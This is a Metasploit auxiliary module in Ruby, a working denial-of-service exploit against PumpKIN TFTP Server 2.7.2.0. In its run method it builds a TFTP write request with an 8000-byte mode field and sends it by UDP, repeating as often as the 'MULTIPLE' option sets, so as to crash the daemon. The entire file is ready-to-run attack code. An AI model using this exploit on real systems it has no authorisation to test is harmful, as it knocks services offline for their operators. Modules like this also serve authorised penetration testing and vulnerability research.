require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::Udp
  

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'PumpKIN TFTP Server DoS',
      'Description'    => %q{
        PumpKIN TFTP Server 2.7.2.0 eventually reaches a DoS condition when
        provided with an overly long mode value.  It'll take a minute. 
        This condition is reached quicker when hammered repeatedly.
      },
      'Author'         => ['Saint Patrick','monStream00'],
      'License'        => MSF_LICENSE,
      'Version'        => '7',
      'DisclosureDate' => 'Oct 25 2008'))

    register_options([
      OptInt.new('MULTIPLE', [ false, 'How many times to send (more kills it faster)', 1 ])
    ])
  end

  def run
    
    print_status("Sending bad data...")
    
    crapfile=Rex::Text.rand_text_english(4,"\x00")
    crapdata=Rex::Text.rand_text_english(8000,"\x00")
    lamestring="\x00\x02"+crapfile+"\x00"+crapdata+"\x00"
    mul=datastore['MULTIPLE']
    0.upto(mul) do
      connect_udp
      udp_sock.put(lamestring)
      sleep 1
      disconnect_udp
    end

    print_status("PumpKIN TFTP daemon is choking...")

  end
end